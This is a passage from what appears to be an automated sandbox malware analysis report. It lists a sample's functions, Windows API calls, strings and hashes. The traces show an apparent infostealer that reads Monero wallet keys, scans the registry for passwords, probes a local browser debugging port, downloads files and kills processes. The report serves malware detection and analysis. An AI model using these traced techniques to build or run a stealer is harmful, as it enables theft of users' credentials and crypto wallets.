                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                      • Part of subcall function 00E28CF0: GetSystemTime.KERNEL32(00E30E1B,0099EA10,00E305B6,?,?,00E113F9,?,0000001A,00E30E1B,00000000,?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E28D16
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                    • CopyFileA.KERNEL32(?,00000000,00000001), ref: 00E11465
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                      • Part of subcall function 00E1A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E1A13C
                                      • Part of subcall function 00E1A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E1A161
                                      • Part of subcall function 00E1A110: LocalAlloc.KERNEL32(00000040,?), ref: 00E1A181
                                      • Part of subcall function 00E1A110: ReadFile.KERNEL32(000000FF,?,00000000,00E1148F,00000000), ref: 00E1A1AA
                                      • Part of subcall function 00E1A110: LocalFree.KERNEL32(00E1148F), ref: 00E1A1E0
                                      • Part of subcall function 00E1A110: CloseHandle.KERNEL32(000000FF), ref: 00E1A1EA
                                    • DeleteFileA.KERNEL32(00000000), ref: 00E114EF
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
                                    • String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
                                    • API String ID: 3478931302-218353709
                                    • Opcode ID: 934caeb47e5bd928ce536056724d121ccf05232cb9cfe0a9c7ca39ac7483e0d4
                                    • Instruction ID: 9db7e353854ada43e59cdb6f5525e1a957cd54a29512059f214bdd82c1512c63
                                    • Opcode Fuzzy Hash: 934caeb47e5bd928ce536056724d121ccf05232cb9cfe0a9c7ca39ac7483e0d4
                                    • Instruction Fuzzy Hash: B65144B1D5012857CB15FB60EDA2FED73BDAF54700F4455E8B60A72092EE305B88CBA6
                                    Function 00E19A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON
                                    Download Yara Rule
                                    APIs
                                    • InternetOpenA.WININET(00E30AF6,00000001,00000000,00000000,00000000), ref: 00E19A6A
                                    • InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 00E19AAB
                                    • InternetCloseHandle.WININET(00000000), ref: 00E19AC7
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internet$Open$CloseHandle
                                    • String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
                                    • API String ID: 3289985339-2144369209
                                    • Opcode ID: 8c9fa9fdb8f558d0c21b4a1afded9f1f7a97d1e48679c3c69059c8a4c81d9021
                                    • Instruction ID: a477282fc353eca7e22bb35d689fe7ed9730d6157b915f072513ce8068ea8b6d
                                    • Opcode Fuzzy Hash: 8c9fa9fdb8f558d0c21b4a1afded9f1f7a97d1e48679c3c69059c8a4c81d9021
                                    • Instruction Fuzzy Hash: 67415C35A50218ABCB24EFA4DC95FDDB7B4BB48740F105098F149BB191CBB4AEC0CB60
                                    Function 00E17630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E17330: memset.MSVCRT ref: 00E17374
                                      • Part of subcall function 00E17330: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00E1739A
                                      • Part of subcall function 00E17330: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00E17411
                                      • Part of subcall function 00E17330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00E1746D
                                      • Part of subcall function 00E17330: GetProcessHeap.KERNEL32(00000000,?), ref: 00E174B2
                                      • Part of subcall function 00E17330: HeapFree.KERNEL32(00000000), ref: 00E174B9
                                    • lstrcat.KERNEL32(00000000,00E3192C), ref: 00E17666
                                    • lstrcat.KERNEL32(00000000,00000000), ref: 00E176A8
                                    • lstrcat.KERNEL32(00000000, : ), ref: 00E176BA
                                    • lstrcat.KERNEL32(00000000,00000000), ref: 00E176EF
                                    • lstrcat.KERNEL32(00000000,00E31934), ref: 00E17700
                                    • lstrcat.KERNEL32(00000000,00000000), ref: 00E17733
                                    • lstrcat.KERNEL32(00000000,00E31938), ref: 00E1774D
                                    • task.LIBCPMTD ref: 00E1775B
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
                                    • String ID: :
                                    • API String ID: 3191641157-3653984579
                                    • Opcode ID: 704c7104541f049207de8216530d4e0e7a9f4c865c886968a9f90e3e8dff6425
                                    • Instruction ID: dfe981441b356d6da3b06a4281742f04fb5a64d5d966e851faa1d6dd490e17e5
                                    • Opcode Fuzzy Hash: 704c7104541f049207de8216530d4e0e7a9f4c865c886968a9f90e3e8dff6425
                                    • Instruction Fuzzy Hash: 5531A176E00108EBDB18EBE0DD95DFF77F8AB44701F105119F142BB294CA39A985CB90
                                    Function 00E17330 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • memset.MSVCRT ref: 00E17374
                                    • RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00E1739A
                                    • RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00E17411
                                    • StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00E1746D
                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 00E174B2
                                    • HeapFree.KERNEL32(00000000), ref: 00E174B9
                                    • task.LIBCPMTD ref: 00E175B5
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$EnumFreeOpenProcessValuememsettask
                                    • String ID: Password
                                    • API String ID: 2808661185-3434357891
                                    • Opcode ID: b22a6df25508b2fe2bf7cc03cc119f724e33ed27571d7634a8b6fe2014dffd92
                                    • Instruction ID: e65ab1f40a6b5b7880eb05dbe06f176563e77016eb37e5c464310052ce823e80
                                    • Opcode Fuzzy Hash: b22a6df25508b2fe2bf7cc03cc119f724e33ed27571d7634a8b6fe2014dffd92
                                    • Instruction Fuzzy Hash: DF614BB190426C9BDB24DB50CC55BDAB7B9BF48700F0081E9E689B6141EF706BC9CF90
                                    Function 00E28290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0099F290,00000000,?,00E30E14,00000000,?,00000000), ref: 00E282C0
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E282C7
                                    • GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00E282E8
                                    • __aulldiv.LIBCMT ref: 00E28302
                                    • __aulldiv.LIBCMT ref: 00E28310
                                    • wsprintfA.USER32 ref: 00E2833C
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
                                    • String ID: %d MB$@
                                    • API String ID: 2774356765-3474575989
                                    • Opcode ID: 1c3e386dca8c1c5b3bbb258853d7959aedfa9b792e99b386f31315299e507f73
                                    • Instruction ID: c4e5ffd1749861a38f20aa071c285c9061ed6f7b83913310e80ce3d6036d30d2
                                    • Opcode Fuzzy Hash: 1c3e386dca8c1c5b3bbb258853d7959aedfa9b792e99b386f31315299e507f73
                                    • Instruction Fuzzy Hash: D8215CB1E44318ABDB10DFD5DD4AFAEBBB8FB44B00F104609F215BB280C77969008BA4
                                    Function 00E19E30 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 163stringsleepCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E28CF0: GetSystemTime.KERNEL32(00E30E1B,0099EA10,00E305B6,?,?,00E113F9,?,0000001A,00E30E1B,00000000,?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E28D16
                                    • wsprintfA.USER32 ref: 00E19E7F
                                    • memset.MSVCRT ref: 00E19EED
                                    • lstrcat.KERNEL32(00000000,?), ref: 00E19F03
                                    • lstrcat.KERNEL32(00000000,?), ref: 00E19F17
                                    • lstrcat.KERNEL32(00000000,00E312D8), ref: 00E19F29
                                    • lstrcpy.KERNEL32(?,00000000), ref: 00E19F7C
                                    • memset.MSVCRT ref: 00E19F9C
                                    • Sleep.KERNEL32(00001388), ref: 00E1A013
                                      • Part of subcall function 00E299A0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00E299C5
                                      • Part of subcall function 00E299A0: Process32First.KERNEL32(00E1A056,00000128), ref: 00E299D9
                                      • Part of subcall function 00E299A0: Process32Next.KERNEL32(00E1A056,00000128), ref: 00E299F2
                                      • Part of subcall function 00E299A0: OpenProcess.KERNEL32(00000001,00000000,?), ref: 00E29A4E
                                      • Part of subcall function 00E299A0: TerminateProcess.KERNEL32(00000000,00000000), ref: 00E29A6C
                                      • Part of subcall function 00E299A0: CloseHandle.KERNEL32(00000000), ref: 00E29A79
                                      • Part of subcall function 00E299A0: CloseHandle.KERNEL32(00E1A056), ref: 00E29A88
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$CloseHandleProcessProcess32memset$CreateFirstNextOpenSleepSnapshotSystemTerminateTimeToolhelp32lstrcpywsprintf
                                    • String ID: D
                                    • API String ID: 3242155833-2746444292
                                    • Opcode ID: 0a5fe9d677da0cf05ca332e48d8a6a99c9f1299a110a2b4a49618df2d6500879
                                    • Instruction ID: 3ca156275bed02e46cd9a49b31b09baf2545a96566f39d510028237b0c252192
                                    • Opcode Fuzzy Hash: 0a5fe9d677da0cf05ca332e48d8a6a99c9f1299a110a2b4a49618df2d6500879
                                    • Instruction Fuzzy Hash: C051A4B1944318ABEB24DB60DC4AFDA73B8AB44704F044598F60DBB2C1EB759B84CF51
                                    Function 00E160F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                      • Part of subcall function 00E14800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E14889
                                      • Part of subcall function 00E14800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E14899
                                    • InternetOpenA.WININET(00E30DFB,00000001,00000000,00000000,00000000), ref: 00E1615F
                                    • StrCmpCA.SHLWAPI(?,0099FB60), ref: 00E16197
                                    • InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00E161DF
                                    • CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00E16203
                                    • InternetReadFile.WININET(?,?,00000400,?), ref: 00E1622C
                                    • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00E1625A
                                    • CloseHandle.KERNEL32(?,?,00000400), ref: 00E16299
                                    • InternetCloseHandle.WININET(?), ref: 00E162A3
                                    • InternetCloseHandle.WININET(00000000), ref: 00E162B0
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
                                    • String ID:
                                    • API String ID: 2507841554-0
                                    • Opcode ID: 9ab24cac26fc6149b852954bebfa3ecd616372c447b167b0e60acd385e9d5c14
                                    • Instruction ID: d0a5086038f402ed960ea9f1516b2d57f66b0fd059a3492d0fa42aa7d0aa5b7c
                                    • Opcode Fuzzy Hash: 9ab24cac26fc6149b852954bebfa3ecd616372c447b167b0e60acd385e9d5c14
                                    • Instruction Fuzzy Hash: 365171B1A00218ABDF24DF94DC45BEE77B9AB44705F008098F605BB1C0DB75AAC9CF95
                                    Function 00E9012E Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    • type_info::operator==.LIBVCRUNTIME ref: 00E9024D
                                    • ___TypeMatch.LIBVCRUNTIME ref: 00E9035B
                                    • CatchIt.LIBVCRUNTIME ref: 00E903AC
                                    • CallUnexpected.LIBVCRUNTIME ref: 00E904C8
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CallCatchMatchTypeUnexpectedtype_info::operator==
                                    • String ID: csm$csm$csm
                                    • API String ID: 2356445960-393685449
                                    • Opcode ID: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
                                    • Instruction ID: 502696aaca0e10e22ca525dace578fd5f7b358abcaffa4a03df9ab9af7f2768a
                                    • Opcode Fuzzy Hash: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
                                    • Instruction Fuzzy Hash: 82B19D71800209EFCF25EFA4C8819AEBBB5FF04314F94616AE9297B252D731DA51CF91
                                    Function 00E278B0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 42registrymemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E278C4
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E278CB
                                    • RegOpenKeyExA.ADVAPI32(80000002,0098BC68,00000000,00020119,Ix), ref: 00E278EB
                                    • RegQueryValueExA.ADVAPI32(Ix,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00E2790A
                                    • RegCloseKey.ADVAPI32(Ix), ref: 00E27914
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
